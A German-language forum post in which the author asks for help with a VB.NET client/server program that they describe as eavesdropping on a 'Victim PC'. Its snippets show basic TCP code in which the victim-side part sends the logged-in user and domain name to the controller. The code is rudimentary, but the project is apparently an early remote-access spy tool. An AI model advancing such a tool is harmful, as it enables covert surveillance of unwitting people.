ALso:
Ich Hab beim Server zwei Timer. Der eine Verbindet sich zum Client. Dann wird der andere gestartet und der prüft ob Daten ankommen. Wenn ja prüft er die Daten ab. Klappt alles... Dann Hab ich im Client Einen Timer. Der prüft nur ob Der Vic Off is oder nicht. So Jetzt gibts mehrere Probleme:
1. Wenn ich starte abzuhöhren, bleibt das Programm hängen bis eine Connection aufgebaut wird.
2. Klappt die Connection nur wenn der Port auf dem Victim PC offen ist. Der Code sieht wie folgt aus. Im Client:
Code:
TCPServer.Start()
Client = TCPServer.AcceptTcpClient
Dim Stream As NetworkStream = Client.GetStream()
Dim bytes(Client.ReceiveBufferSize) As Byte
Stream.Read(bytes, 0, CInt(Client.ReceiveBufferSize))
Dim ErhalteneDaten As String = Encoding.ASCII.GetString(bytes)
Dim abc() As String = Split(ErhalteneDaten, "|")
Im Server:
Code:
If Client.Connected = True Then
Dim abc() As String = Split(My.User.Name, "\")
Dim Stream As NetworkStream = Client.GetStream()
Dim Daten As [Byte]() = Encoding.ASCII.GetBytes("|PCName|Default|" & abc(1) & "|" & abc(0))
Stream.Write(Daten, 0, Daten.Length)
trSocket.Enabled = True
trConnect.Enabled = False
Exit Sub
End If
Client.Connect("127.0.0.1", 4000)